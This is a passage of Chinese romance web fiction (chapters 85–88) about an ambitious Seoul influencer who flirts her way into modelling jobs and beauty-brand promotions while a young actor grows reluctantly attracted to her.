宋玉妍被拒绝了也不生气，把头发拨到肩后准备转身就走。 才迈出了一步，又折过身回来，靠近贴在墙边的李株赫。他的朋友看到，纷纷给人让出一条道，露出看好戏的眼神。 酒吧的灯光能够把六分的美人映照出十分的容色，更何况还是宋玉妍这种外貌毫无瑕疵的大美人。 李株赫有些恼怒地皱眉，短圆眼都眯成尖利的弧度，但不是对她，而是自己那群看热闹不嫌事大的朋友。 就算穿了高跟鞋，宋玉妍也才到他的耳边。只能踮起脚尖，贴在人耳畔，用几乎不可以听到的气音说道：“因为你是个帅气的男人，所以我会给我们三次玩推拉的机会，这是第二次了。” 温热的气息入侵，这不是一个安全的距离，两人的身体几乎都要毫无缝隙地贴在一起。仿佛他稍微动一动，就能划到她细腻的皮肤。 他垂着眼睛，手指用力地捻着放在身体两侧，没有给出反应，像是一尊雕塑。 旁边的起哄声、音乐声都听不清了，他被这一个人的气息给包围了，像是被柔软的藤蔓锁住了四肢。 等宋玉妍退开，樱桃利口酒、菠萝汁、柠檬混着玫瑰发露的味道消散了。 看着她离去，摇曳生姿的背影，李株赫烦闷地把帽子摘下来，用力地捋了捋头发。 旁边的GD叹为观止，这位很会啊！他拍了拍自家亲故的肩膀，“这种女人，我们都见得多了。” 言下之意就是玩玩就好，别动真心。金珉喜段位很高，他看这位也低不到那里去。 李株赫神色不清地看了他一眼，“我知道。” 这种妄图接近他，借着他的名气一步登天的女人见得多了。 第85章 第八十五章 等宋玉妍回到吧台上，冰块已经融化地差不多了。她拿掉吸管，抿了一口，发现酒味变淡，把杯子推到一边。 “你和他很熟吗？”崔顺喜有些纠结地问道。作为宋玉妍多年的“好闺蜜”，当然能看出她对李株赫毫不掩饰的兴趣。 “不算很熟。”拒绝了一个前来搭讪的男人，宋玉妍只觉得百无聊赖，现在的酒吧花样也没有后面那么多。 群魔乱舞的蹦迪、老套的电子音乐、男女之间那点暧昧的氛围，还有Dj那过时的打碟技术，都让她感到乏味。 “昨天才见过第一次面，谈什么熟不熟的。” “那就行。”这个话本不该由她来说。但是崔顺喜想到两人就算是假玩，也一起玩了两年了，再怎么虚情假意，其中也掺杂了两分真情实感。 “你……不要被他的外表所迷惑，他是江南太子，又是混影视圈的，什么样的女人没有吃过见过？”她怕自家“闺蜜”被那副皮囊所吸引，真和人玩上了纯爱，到时候陷进去可就麻烦了。 宋玉妍听到这话一愣，带着调笑意味上下扫视着她。没想到这位看起来恋爱脑，实则还算是清醒。 “可以啊，欧尼。”居然是她看走眼了，原主的这位朋友居然没有傻到家。 稍稍换了个舒适的坐姿，修长的双腿叠在一起，她伸手指了指旁边的那杯新加坡司令。 “这杯酒刚上来的的时候层次丰富、口感清爽，但是时间长了冰块融化，水汽会影响口感。” 宋玉妍像是在说酒又像是在说其他的，“所以喝个一两口就好，不能天天喝。”眼睛里跳动着的是毫不掩饰的野心和一片清明，这让她的眼眸更加别具魅力。 看到她一如既往的清醒，崔顺喜舒了口气。她还等着“闺蜜”能火，自己也能沾点光。 宋玉妍像是知道她在想什么，心中一阵无语。自己不好好努力，还指望吃上她这个半路出家“闺蜜”的软饭。 离开的时候，夜色里满是摇摇晃晃的身影，醉醺醺和各种香水混合的味道让人忍不住捂住鼻子。 她晃了晃有些混沌的脑袋，只觉得远处的建筑模糊的轮廓和朦胧的色彩，扶着太阳穴。「不对，你不是说还有工作机会吗？」 刚刚那个AC的邀请也算是机会？ 系统：「宿主里面有一个拍写真海报的摄影师，现在正在为模特而感到发愁。你刚刚专注于钓……（男人）做攻略任务，给忘记了。」 懒得和它计较，宋玉妍回到酒吧，按照提示坐到那个摄影师的面前。 他头发很长，满足人对艺术家的刻板印象，又像是觉得不方便，把三分之一给扎了去了，脸色阴郁。明明年纪轻轻、长相俊秀，但是周围一圈没有人靠近，仿佛一段隔离带横在这个声色犬马的场所。 甩下崔顺喜，她朝人径直地走了过去，坐到他身边的位置上，给吧台后的酒保打了个响指。“给这位先生来一杯桑格利亚，我请。” 男人往宋玉妍身上看了一眼，对她的容貌丝毫不感兴趣。 等酒保清洗调酒工具后，他出声制止了：“不用给我调了，我今天晚上喝得够多了。这位小姐你也是，别在我身上浪费力气，这个店里多得是想向你献殷勤的人。” “是吗？”宋玉妍捂着嘴，做作地娇笑起来，纤细手指上的颜色在灯光的映照下格外引人注目，妩媚的风情随着身体轻轻颤动出来。 “来夜店的人，要么是生活失意的，要么是来找乐子的，先生。您是哪一种？”她软声道。 凝脂一般雪白的肌肤透出一点点艳色，如云雾一样的卷发散在香肩上，好像笃定没有人能够拒绝她的魅力。 他拿出一根烟，夹在手心，用眼神询问她是否介意。 宋玉妍轻幅度地笑着摇了摇头，眼底是毫不在意。 等他把打火机打开，咔嚓一声，隐隐的橙色燃烧在香烟的边缘，几缕薄薄的烟雾在两人之间萦绕着。 “那你呢？是哪一种？”他的脸色不再阴沉，反而露出一股玩味的笑容。银色的打火机被他用左手的食指和大拇指虚虚掐着，放在手里绕圈把玩。 “我是为了你。” “为了我？”这个答案倒是出乎人的意料。 暗色里女人坚定的目光像是宝石一样熠熠生辉。“对，我是为了你。我是一个模特，兼职网红，我想要一份工作。” 宋玉妍的目标就是他手里那份轻奢风衣品牌的拍摄，如果能把自己的硬照，挂上百货商场的橱窗就好了。 “网红？”他嗤笑了一声，前面模特的身份就当没有听到，觉得是为了给她自己抬咖硬加上去的。 “摄影师的拍照和你们网红的对镜自拍可不是一回事。” 网红只负责漂亮就好，但模特更被看中的是表现力。 “这次拍摄是什么风格？” 这位摄影师也不知道是怎么的，鬼使神差般地居然和宋玉妍聊起起这个话题。他纠结地揉了揉头发，几乎要把扎好的头发揉散。 手上的火星都快灭了，也只燃烧了边缘一圈，香烟被烫出了黑焦半圆的弧度…… “品牌方那边要求男女主都要 是酷拽一点的风格，又要有性张力，还要长得好看。“这样符合要求的模特去哪里找？ 南韩就这么大，好看的孩子基本上都在娱乐圈了，就算不在，也在各大公司当练习生。甲方的这个要求无异于五彩斑斓的黑，还不允许用黑色。 听到这话，宋玉妍用自己的有些冰凉的手指拿过他手的打火机，另一只手去人嘴里轻柔又强势地把香烟抽了出来。 她打了对方一个猝不及防，男人几乎是瞠目结舌看着她的动作。 用手指第一骨节夹着半燃不燃的香烟，她把烟缓缓地塞进嘴里，打火机上跳动的火焰映照在眼睛上。慵懒地半靠在吧台上，她沉沉地地吸了一口，肉感的嘴唇轻轻嘟起，吐出烟圈时垂着眸带出一股妩媚撩人的意味。 等手指上香烟的火星重新燃起，烧起来的速度比之前快了三倍不止，宋玉妍把香烟塞回到已经看呆了的人手中。 “看来你是真的很烦躁了，居然连香烟没有完全点燃都没有发现。” 笑容中带着若有如无的暧昧，但语气里好像只是顺手帮个小忙，没有其他的意味。 二楼包厢上，靠着的李株赫只觉得这一幕有些刺眼，他用力地闭了闭眼睛，脑海中那如玉一样的肌肤和瀑布一样的黑发依旧挥之不去。 虽然知道这是圈子里的常态，但是看到她和别人暧昧心底还是会不舒服，他把这样的感受归结于占有欲。毕竟不久之前宋玉妍还当着他朋友的面表露出了兴趣，没过一会又投入到他人“怀抱”，谁都会不适应。 “李株赫xi？你一个人站在这里干什么？” “只是觉得今天DJ的打碟技术不错，一不留神就多看了一会。” “啊，这家店的DJ每天不都是这一个吗？” 听到有人在喊玩国王游戏，他最后看了楼下一眼，发现宋玉妍依旧和那个男人言笑晏晏。 李株赫把目光撤了回来，看来自己的直觉是对的，还是少和她扯上关系。 宋玉妍和圈里那些想要往上爬的女人没什么两样，说得再冠冕堂皇也掩盖不了她们眼睛里面的野心和贪婪。 对于这些，他倒是接受良好，离远点也只是怕麻烦。 楼下 “车东宇！”男人主动伸出右手，另一只手想要掏名片，才发现它和皮包一起被留在工作室了。 “阿尼阿瑟哟，车东宇xi很高兴认识你！”宋玉妍看到他的表情就知道，画报拍摄这件事就成功了一半。 如果对方对她没有兴趣，是根本不会透露自己的姓名的。 “我们加个联系方式吧！”虽然没有提拍摄的事情，但是她知道这个资源稳了。 等走出酒吧，宋玉妍只觉得首尔的景色从未如此温柔过，一串串的路灯像是铃兰花的花苞，清韵、雅致。远处建筑的墨色线条就像是毕加索的笔触，虽然有些难以看清，但未尝不是艺术家的独特风格。 摄影师那边迟迟没有消息，宋玉妍也不可能把所有的精力放在等待上。干脆让崔顺喜给她打下手，先把品牌方要的物料拍出来。 权至龙最近在首尔忙着巡演，他的粉丝一时间不参与各种大战还有些不习惯。他们只好把目光都对准宋玉妍这位爱蹭的小网红，几乎每天都在站姐的指挥下攻陷评论区。 她对这些倒是丝毫不在意，沾着大明星的光，现在的粉丝数涨到了十万。虽然九成九都是来骂她的，但是看着活跃度就说是不是粉丝？ 就算是真爱粉的粘性都不一定有这么大，连续半个月定时定点过来打卡，还搞轮班制，简直让人哭笑不得。 品牌方审核过合作的照片之后，直截了当地让宋玉妍投放到主页。 就算现在被黑粉攻占了又怎么样？更多人看到这条ins，也就让更多人知道cilo这个品牌的口红。 不然南韩人一提起这个牌子，只会用那个高光膏做得不错的品牌代指。高光再火又有什么用，一年最多买两块，哪像口红这样能持续性地带动销售额？ 为了推广这个滞销的口红，宋玉妍还煞费苦心地安排了一个妆容，名字都取好了——约会元气斩男妆容。 打算等评论区有人问妆容的化妆教程的时侯，把录好的教程视频上传到youtube上。如果没有人问的话，就让自己小号反串在评论区问一下好了咯。 至于妆容里致死量的高光，和她不喜欢的讨好感？ 宋玉妍：恰饭嘛，不寒碜。 第86章 第八十六章 视频里的宋玉妍先开始是素颜出镜，先是掬了一捧水把自己脸上打湿，把洗面奶在爱出油的地方，像T区、鼻翼两侧打上一点，然后再清洗干净。 她对着架在洗漱台上的摄影机，微微笑了一下。 镜头里的女人素着脸，眼睫毛轻轻颤抖一下，透明的水珠顺着细腻如白脂一般肌肤滑倒下颌，最终落到洗漱台里。 “我是偏干性的皮肤，所以在上妆之前都会先贴一片面膜。”这里的镜头到时候她只剪了几个，其他的时间都加速略过。 视频是没有办法p的，出镜都是全素颜，就连眉毛都是清清淡淡的。宋玉妍用这种方式不动声色地反击，那些嘲讽她是p图怪的言论。 底妆迅速上好之后，她用清淡的杏粉色平铺在眼皮上，一边对着镜头说道：“约会的时侯眼妆不用太浓，整个妆容显得气色好一些就行。” 然后把其他的妆容步骤也完成里，只剩下口红。在画口红之前，她先把品牌方寄过来要展示、推广的五支口红一一展示，右手在后面当背景板，左手拿着。 “喏，第一支是蜜桃色，涂上之后嘴唇会像是水蜜桃一样清透粉嫩。” 宋玉妍用唇线笔把嘴唇的轮廓浅浅勾勒，然后拧出唇釉的刷头，从最里面轻轻往外晕染颜色。 好了之后镜头拉近，方便这个上唇效果被更好展示。“等涂好这个颜色之后，你们出去约会，撩男友、暧昧对象的时侯就突然凑近，看着他的眼睛说，欧巴啵啵。” 宋玉妍一边说一边伸出纤细的嫩指，点在嘴角的莹润处，甜笑和弯起来的卧蚕更是让这个视频的糖分超标。 观看视频的观众也不得不承认这一刻她们心空了，不知道是唇釉的眼神好看还是人更好看。就算是被吸引过来的黑粉，也忍不住学起这个妆容。 随后又展示了更加适合上班族通勤涂的豆沙色、元气的橘色、看起来像是充满果汁的车厘子色和番茄色。 本来这条视频放上之后的浏览量并不高，等“黑粉”全部到场之后播放量瞬间就被拉到三万了。 一位权至龙的粉丝看到之后，在群里问一位大站站姐。 「欧尼，这条视频我们还冲吗？」说实话，她看完之后都对这五支口红心动了，尤其是那支蜜桃色，会显得嘴巴很好亲的样子。 沉默了一会站姐才在群里发：「她就在ins发了和GD相关的，我们专注于她的主页就行。」言下之意就是YouTube那边不用管。 看着ins和YouTube下截然不同的舆论风向，宋玉妍也是觉得有些好笑。这群人一天不来报道，她还会有些不习惯。离了这些黑粉，谁还会把她当网红？ 过了24小时，她把主页发了推广图片的帖子 点击数和视频播放量反馈给品牌方。他们对此倒是相当满意，所谓性价比就是花了小钱，让更多人知道自家品牌。 那条视频带来的长尾效应还不错，线下不断有人去cilo的门店询问有没有那支蜜桃色口红。 这倒是让柜姐懵了一下，她们口红都是按色号编码的，等看到宋玉妍的视频时才反应过来。 有些翻墙关注美妆的种花人，偶然刷到了这条视频还拜托代购顺便帮忙带一支。 结束之后的品牌方看到上浮的数据，还询问宋玉妍能不能再做一期腮红推广。 看着爆了一条ins，24小时图片点赞超过30w后带来粉丝增长，ins主页刷一次小数点后面的数字就变一次。 宋玉妍托着腮，以后专注做美妆博主，偶尔客串一下穿搭博主好了。 看到cilo的pr发来的消息，她表示要追加推广的话也不是不行，但是得加钱。 「宋玉妍xi，之前的报价算得上是很高的了，而且这一个星期我们销售额也没有显著增长啊！」 营销部每个月的营销推广资金就那么多，pr也是为难的打工人。 「腮红的推广难度本来就比口红要高，视频的脚本更加难写，更何况你不能看整体的销售额吧！口红单品的销售量没有增长你们还会花钱继续找我推广吗？」 把电脑关上，她打定主意先不再去回复邮件了，晾晾他们，总不能那她当免费廉价劳动力来用吧。 就在宋玉妍对风衣的海报拍摄，已经不抱希望的时侯，车东宇联系了她。 「后天来一趟松坡洞吧！具体的地址到时候我发你手机上，如果拍摄效果不好的话，会被当场换掉。」 看到这样的峰回路转的消息，宋玉妍给自己倒了一杯香槟，调整了一下阳台上沙发的方向，然后靠上去，长发散在腰间。左手食指在玻璃杯壁上轻敲，浅黄色的液体在折射过来的霓虹灯下恍若黄金。 她整个人都缩到沙发里去，举起酒杯，仿佛能看到远处的乐天塔，和着空气碰了一下杯。觉得这个角度好看，宋玉妍拍了一张酒杯和远处夜景的照片，发到ins的快拍上。 轻轻抿了一口，气泡在口腔里翻涌升腾，酵母带来的酸味让人有些不适又有些沉醉。 到最后她有些醉了，整个人像是婴儿一样缩在灰色的沙发上，昏睡过去的最后一个念头是：以后她要喝更加昂贵的香槟。 到了拍摄这天的傍晚，宋玉妍提着两大袋饮品艰难地走在松坡洞的上坡路上。 手里沉重到像是拿着两袋石子，她走得很慢，等会要拍摄还是要保证身上的清爽，只有额角被细汗濡湿。 旁边一辆黑色的韩系捷恩斯开过，她瞟了一眼就没有兴趣，二十亿韩元以下的车从来不被她放在眼里。 到了拍摄场地之后，宋玉妍把手里提前买好的饮料递给场务，嘴角营业性的甜笑减弱了五官带来的攻击性。 “阿尼阿瑟哟，我是今天的出演人员，天气热了给其他工作人员带了薄荷柠檬水，可以解解渴。” 场务接过之后，表情没有什么变化，眼神却柔和了下来，给她指了一个方向。 “化妆室在那边，你先去化妆换衣服吧。” “内，康桑思密达。” 等人走后，其他的工作人员凑了过来，一人分了一杯饮料。 “之前摄影师说今天拍摄的是一位网红，我还在担心……” “确实，长得比绝大多数爱豆都要好看。”灯光师把吸管插了进去，深吸了一口，冰饮的温度抚平了燥热的身体。还会做人，他在心里默默地补了一句。 这次的妆容不是水光肌，这个化妆师应该很适合化恶女，宋玉妍伸手轻点在颧骨上方。香槟色的细闪和飞扬拉长的眼线，把她狐狸眼的形状完全勾勒了出来，左边的鼻背上还被点上了一颗小痣。 上挑的眼睛里满是坚定和野心，被这样的一双眼睛盯上，让人有种仿佛被食肉动物的竖瞳直视的错觉。 “这风衣上的黑色腰带要系上吗？”宋玉妍有些不解，不知道应该怎么穿这个风衣。 “先系上吧。”服装师拿来一双RC的黑金蛇形高跟鞋让她换上。 金色的蛇形从鞋跟底部一直缠绕到脚踝上方五厘米，掐得她白腻的肌肤微微凸起，带着一股妩媚的性感。 她走出去恰好步伐有些急，快撞上和她穿同系列外套的男人时，紧急往后退了半步。 高出她半个头的男人，看起来更加冷峻锐利，好身材被风衣衬托地更加宽肩窄腰。喉咙下方的米色高领内搭，让人把第一眼注意力放在他的下颌线上。 李株赫没有想到居然在这里能够碰上宋玉妍，犹豫了一下刚想主动打招呼，没想到对方已经扭头就走。 仿佛……两人毫不认识一样，他错愕地看着人离去的身影。 摇曳的身姿让衣摆不断地在空中飘荡、落下，鞋底银色的碎光，仿佛是置身于蓝血时装周上，最后李株赫把目光定格在她的小腿上。 宋玉妍，好像很适合这种风格的鞋子。 到了拍摄现场，他才发现，今天的这位摄影师有些眼熟。等看到车东宇的长发之后，后知后觉到，是那天在酒吧看到和宋玉妍一起“调情”的男人。 想到这里，他胸口那丝莫名其妙的堵塞感消散了不少，原来当时是为了工作啊！但看到宋玉妍对他笑得花枝烂颤，像是艳丽的芍药，只对别人绽放温柔的花瓣。 李株赫皱了皱眉，眉峰更加明显，神色有些变得有些阴郁冷漠，他把这股不适感归结于燥热的天气。 “好了，开始吧。”摄影师看看天色和周围的灯光，感觉刚好之后，就准备开工了。海报的拍摄没有其他，人好看就已经成功一半了。 宋玉妍踩着高跟鞋和李株赫一起边走路，一边看向镜头。就算是贴头皮的造型她也消化的很好，高颅顶圆润饱满，眉眼秾丽带给人第一眼冲击力。 车东宇只觉得她完全没有让人失望，甚至隐隐压旁边那位专业模特一头。 至少他看底片第一眼只会先看到宋玉妍，镜头里的女人并没有刻意直视着镜头，但是在照片里就是让人挪不看眼，眼眸里自带故事感。 周围的夜色像是她最好的面纱，黑色风衣的利落剪裁给她增添了一份神秘的气质。周围暖光灯一打，她迈着剪刀腿向前走，步履款款，仿佛整个首尔都被她踩在黑金色的高跟鞋下。 旁边的男人虽然跟着摄影师的要求摆着pose，但余光都放在她身上。 他总觉得宋玉妍今天有些不一样了，之前几次出现在她面前时，她所有的注意力都在他的身上。但这次感觉对方好像不一样了，不是很想和他交谈的模样。 等中途补妆的时侯，李株赫刻意站在宋玉妍的身后，其实他脸上的妆容保持的还好，但莫名觉得他还是补一下比较好。 “宋玉妍xi拍摄时和之前不太一样呢！”化妆师一边帮她补着唇线一边说道。 等她补完之后，宋玉妍笑了笑，和拍摄时的冷脸大相径庭。“我比较珍视工作的机会，所以拍摄时都会比较认真。” 看到他补完了，李株赫忍住想要把手插到风衣口袋的冲动，这样会破坏衣服的版型。他凑到化妆师面前，却看向宋玉妍，“能帮我看下脸上的底妆有没有问题。” 原本垂着眼睛的女人，在妆容的映衬下透露着一股高冷厌世感，手上拿上一支香烟就能去客串电影里的幕后反派。 她听到熟悉、磁性的低音炮，只是掀了掀眼皮，继续看着手机里的自拍照。 “你和cody沟通。” 第87章 第八十七章 李株赫刚刚的那句话像是在对化妆师说，也像是在对宋玉妍说。 被拒绝之后他也没有丝毫窘迫，看向化妆师，仿佛本该是对她说的。 “感觉是不是有些卡粉了。”语气里满是若无其事，李株赫直勾勾地盯着她手里的工具。 心底在不断懊恼，他只觉得自己昏了头，居然因为她态度稍微有些不一样就做出这样的事情。 化妆师在脸上拿刷子在李株赫脸上刷刷蹭蹭，然后用粉扑拍开。看着他在宋玉妍面前吃瘪，她憋笑憋得有些难受。 但还是拿出镜子给他看了一眼，帮人解围：“幸好李株赫xi你主动过来修补妆容，鼻翼两侧有点轻微脱妆，如果不凑特别近都看不大出来。” 这样的瑕疵肉眼没有办法捕捉，但高清相机会把它不断地放大。到时候照片用不了的话，化妆师会被骂工作不负责任。 看着不远处的宋玉妍，手机屏幕上的光反射到她的脸 上，指尖一直在上面点来点去。 手机有那么好看吗？他点开自己的ins小号，输入之前看到疑似宋玉妍的那个账号，置顶的那条正好是美妆推广的。 里面的女人拿着口红凑近到嘴边，巧笑倩兮地看着镜头，李株赫笑了一下。没有想到她画清纯妆容也还不错，这样的形象让他有些不习惯，手指却默默点了保存键。 他还是更喜欢一袭黑裙，头发像云雾一样若隐若现地遮眼着香肩，上挑的眼睛里满是欲望野心火苗的宋玉妍。 意识到自己在想什么之后，他攥紧手机，青筋开始凸起，指尖有些发白，眼睛紧闭着，深吸了一口气。 马上就要服兵役了，还是不要节外生枝。 况且……宋玉妍她不是那种好掌控的女性，李株赫不确定自己是否能够满足她的欲壑难填。 等重新开拍之后，他努力让自己目光不要放在对方的身上。 但这实在是太难做到了，和宋玉妍拍摄十分默契，她的高跟鞋和他的切尔西靴很是合拍，两人迈出的步幅都是一致的。 鞋底的红色和银色的碎钻都如此相得益彰，摄影师倒是想让有些肢体互动。但最后发现还是两人都隔着一点距离，微微侧看着镜头那张更有感觉。 拍摄结束之后，风衣大方的送给两人了。脚下的高跟鞋宋玉妍脱下，还给服装师了。能把这么贵的鞋子借给她穿就已经很不错了，至于送那更是想都别想。 换回自己的印花黑裙，宋玉妍往外走去，有些心烦。等会有一段下坡路很难走，上面都是碎石子，路面也是凹凸不平的，会让穿着高跟鞋的她很容易崴脚。 看着李株赫走到捷恩斯车旁边，拉开驾驶门准备上车。她的眼里划过一抹嫌弃，但是还是快步走过去，敲了敲已经摇上去的车窗。 他一摇下车窗就看到宋玉妍把碎发撩到耳后，如玉一样的耳垂露了出来，夜风有些大，把她的几缕发丝又吹黏到唇釉上。她笑意盈盈，笑容比保存的那张照片上的还要甜蜜三分。 她换了口红颜色，这个像是她视频里推广的那支车厘子色。像是剥了皮的樱桃，稍稍一掐汁水从果肉中漫了出来，很容易沾到手上。 “李株赫xi，能蹭个车吗？” 车内的男人穿的还是拍摄时的那一件风衣，仿佛不嫌热一样。他只是微微垂着的头，原本服帖的发型此刻就像是他的心情一样凌乱，但最后他还是解锁了车门。 因为双手合十，眼睛亮晶晶，嘴里不停地说着切拜、切拜的宋玉妍让人无法拒绝。原来狐狸眼软下来，就像是拔去刺的玫瑰，只剩下妍丽了。 人会有这样的两幅面孔吗？她对自己的兴趣究竟有多大？ 等人上到副驾驶之后，李株赫默默地把冷气给关小了。看着她身上的裙子是皮革面料，他也就没有彻底关掉。 一时间室内只能听得到他开车打方向盘时的衣料摩擦声，还有冷气机工作的声音。 宋玉妍是在权衡该如何开口，而李株赫垂着眼睛，偶尔看一下前方的道路，不知道在想什么。 “李株赫xi……” “你穿着……” 两人一时间同时开了口，“你先说吧。”宋玉妍把往下滑的手包压在腿间，看着男人的侧脸。 山根高挺，立体的五官带来妖冶的混血感，重新抿着的唇就像他的外表一样矜贵冷漠。 “你先说吧。”她笑了笑，语气轻柔。之前车东宇和她说了李株赫在和ck接触，ck好像对他很感兴趣。 “你这条裙子很好看，lv的吊带印花皮革很适合你。”李株赫在她在床边的时侯就看到了，当时就觉得她很适合lv。 如果不是宋玉妍主动说，他也不会想到对方家里是渔民家庭，毕竟长相看起来完全不像。他以为对方和他一样，家里都是中高产。第一次见面，还有些纳闷为什么会在那样混乱的局里看到她。 说到这个，宋玉妍脸上的笑容像是卡住了一样。她不笑的时侯，嘴唇看起来就不像是微笑唇了，微微下撇，像是不高兴的樱桃枝。 见她久久没有回应，李株赫把头转过来，在等红绿灯的间隙看着她。 她的坐姿很挺拔，并没有窝到座椅里，腰部一直在发力。 “李株赫xi，这条裙子并不是正品，网红的职业要求我要穿得光鲜亮丽。但是我的经济条件并不允许我浑身上下都是奢侈品，我负担不起。”宋玉妍垂着头，像是有些泫然泪滴，心底确实在庆幸，不用自己挑起话头。 听到这话的李株赫心情很是复杂，左半边脸被窗外的灯光照的一会亮一会暗。 他既惊讶于她的直白坦率，又对她并没有享受到相应的物质条件而微微酸胀，同时他也知道宋玉妍说这样的话只是为了博取他的同情。 左手无力地放在车窗上，手腕垂落，这一段路他的车是靠在最左车道行驶的。 “可能这就是穷人家的孩子进入这个光鲜亮丽圈子的惩罚吧。”宋玉妍别过脸去，像是对窗外的景色很感兴趣。 但是李株赫能从车窗的倒影上，看到她用手指在眼下拭去了什么。他用力地闭了闭眼睛，手掌攥紧了方向盘，告诉自己应该清醒一点。 “我见过首尔的繁华了，我回不去那个小渔村，也许当初就不应该来这里。”她抱着胸，像是想要抱住什么，但她怀里的只有空气而已。 李株赫能够看到她如同白瓷一样的脸上，眼尾的薄红十分刺目，眼睛里是对未知前路的哀伤迷茫，微微颤抖的身躯透着一丝脆弱。 他深深吸入一口，然后又重重地叹了出去。他知道对方想要从他身上得到资源、人脉或是金钱。 宋玉妍所有的示弱都是有所图谋的，他和当初在宝格丽撞见的那位“冤大头”没什么两样。当时他还在心底嘲笑对方是pabo，现在看来，他也是。 李株赫嘴角勾起一抹嘲讽，微微扬起头颅，看着远方的路灯不知道在想些什么。原本清澈的短圆眼，里面现在盛满了墨色。 忍不住用手指轻轻在白皙肌肤上摩擦出一条条红色指痕，宋玉妍用余光去瞟他的反应。 但他浮雕一样精致静止的脸庞，看不出情绪。 这一刻，李株赫知道自己心软了。反正马上要入伍了，把资源给一部分给她也不算浪费，但之后还是远离一些吧。 宋玉妍比之前碰到那些花蛇都要厉害，至少面对她的时侯，他理智全无。 “我最近在和ck接触，他们要拍新一季的内衣广告，你要是感兴趣的话，我可以推荐你。”李株赫只听到自己干涩的嗓音从唇齿间，一字一字地蹦出来。 要是以这种声音去说台词，他的声控粉丝可能会少一半。 副驾上的女人猛地抬起了头，看向他的眼睛里满是惊喜和感激。她的眼睛很亮就像是被水洗过的黑曜石，手指紧紧握在包柄上，身体不自觉地往他那边倾斜。 “真的吗？”随后像是感觉到不妥，宋玉妍又小心翼翼地问道：“会不会给你带来麻烦啊？品牌方应该会很不喜欢这种塞人行为吧！” “没关系，这种内部推荐算是圈子里约定俗成的规则。” 一般来说品牌方很喜欢某个一人，想要让他帮忙宣传自家品牌的时侯，是不会拒绝对方塞人的要求的。 看到自家楼下那个标志性的路牌后，宋玉妍慢条斯理地解开安全带，手指勒着，好像一点都不着急。把包放在车台上，她伸手抚了抚自己裙子上的褶皱。 李株赫注意到她的动作，疑惑地转过头来，车停稳她怎么还不下车。 宋玉妍侧过身来，柔软的手臂穿过他脖子和车座椅之间的缝隙，双手交叠放在他的左侧脖颈上。滑腻的触感像是一团细腻的、带着水汽的云。 这让李株赫不敢往后靠，只怕碰到那微凉、柔嫩的肌肤。只能维持脖子的僵硬，被她圈在手臂中间。 下一秒，宋玉妍温热、妍丽的嘴唇在他脸颊处落下轻轻一吻。 辛辣的咖啡、茉莉、甘草味混合在一起，这一款黑鸦片他闻到过很多次。但是在她身上不觉得甜腻，只觉得话梅糖味很浓，浓到让他心里有些发苦。 她几乎整个人把重量都放在他身上了，身下柔软的触感让人更加不敢乱动。仿佛一动，他的心也就会继续乱跳。 “李株赫xi，抱歉。虽然我说的都是实话，但是也确实是存着想让你帮忙拉资源的心思，我拥有的不太多，只能用这种方式去争取我想要的 。” 第88章 第八十八章 他保持仰头的姿势，像是没有听到，整个人的瞳孔失去焦距。 “李株赫xi，这是我的电话。” 说完这句话，她用手指夹着一张ysl的试香纸，上面的墨水若隐若现。滚烫的指尖似乎探入了他的裤袋，又快速撤了出来。 只隔着一层薄薄的布料，却无端让那一片肌肤发烫。 “知道了，” 宋玉妍侧身下车，右腿上的高跟鞋先踩在地面上，绷直的小腿线条看起来利落又优美。 李株赫转过头去看了一眼，又迅速把头给扭了回来。 关门、高跟鞋的敲击声越来越远，他看着她的裙子和黑暗融为一体。只有手臂、背部裸露的肌肤清寒，发散出来的光泽像是融雪，又像是冷玉。 颧骨下方那个黏腻的唇印还停留在脸上，后视镜里的人维持着这个姿势很久。 久到他想动一动手臂，想从抽屉里翻出纸巾把脸上那丝让人不适的感觉擦掉。赫然发觉靠在车窗上的左手已经麻木到僵硬了，身上的安全带也像是化作黑金色的蛇，绞缠着他的身体。 最后他打开了装着纸巾盒的抽屉，犹豫地抽出一张纸，犹豫地把纸巾摁上脸上的唇印。 修长的手指用力，把那抹暗红色，像是果汁一样晶莹的玻璃唇釉给抹去。仿佛他心底那丝说不清道不清的思绪，也随着一起被抹掉了一样。 纸巾被折叠后塞到抽屉最下方，等到时候洗车一起清理。 宋玉妍回到家，打开灯，迈过两三个纸箱，衣服被层层叠叠堆在沙发上，餐桌上杯子里的咖啡渍黏在杯底。 看到这样的一幕，她眼前一黑。默默地把玄关里堆放的纸箱折叠然后放到杂物柜里，沙发上的衣服分门别类挂好，打扫完之后整个人瘫在沙发上。 干完之后，她一看时间都十一点半了，果然只要开始干家务就会有数不清的杂活。 宋玉妍只觉得自己要好好赚钱，换一个大房子，请一个助理帮忙接手这些杂事。像是请家政、对接商务的工作，就能交给她。 想到今天的运动量还没有达标，她又认命地在客厅里铺上静音垫，拿出橡胶大球的无绳跳绳开始运动。 网红作为一个个体的商品，身材管理也是或不可缺的一环。只有比99.99%的人好看，她才能作为剩下那0.01%的人赚钱。 半个小时后，跳到后面几乎是在咬牙坚持了，但还是做完卷腹、哑铃飞鸟才去洗漱。等敷完面膜、擦完水乳，躺到床上时已经两点。 宋玉妍梦里都还在想明天的视频文案脚本，新接了一个指甲油的推广。明天还要拍一期vlog，好好睡觉保持好精神面貌。 可惜南韩网红方面的经纪公司实在是太落后了，如果说种花是经历过野蛮生长之后，逐渐步入正轨。那这边还是处在一片荒芜的阶段，娱乐产业发达，但是网红还是处于单打独斗的阶段。 “阿尼哦，哟罗布，今天我们要去清潭洞一家很有名的美容室，这里会有很多男艺人、男演员过来打卡。” 宋玉妍起晚之后，离预约的时间很近了，下了地铁几乎是一路狂奔。 手持的自拍稳定器也是很好地记录了她的狼狈，整个人在镜头里都是摇摇晃晃的。南韩的化妆室都要提前预约，超过时间之后工作室那边可以取消。 好不容易在3点前两分钟抵达了门口，接待人员核对了联系方式、预约对象之后让她先去洗头。 帮忙洗头发的女性工作人员脸上的笑容又mean又虚伪，让宋玉妍感到有些不适，是因为她不是艺人的缘故吗？ 提早和店里接洽过拍摄的问题。她继续挂起标志性的媚粉甜笑，对着镜头道：“这家店的服务很细致呢！为了整体造型的效果，还会提供洗头服务。” 等洗完头发之后，宋玉妍有些不适应地提了提自己的红色丝缎短裙，这次照片的风格是恶女主题。 等坐到化妆镜之前，她沉迷和化妆师沟通，忽略了旁边的其他的人。 倒是有一个大型男团看到她的容貌之后在窃窃私语，十多个人你一言我一语地，就算声音很轻也很吵闹。 这引得宋玉妍看过去一眼，看到他们朴素的穿着就知道他们比较糊，身上一点名牌都没有。 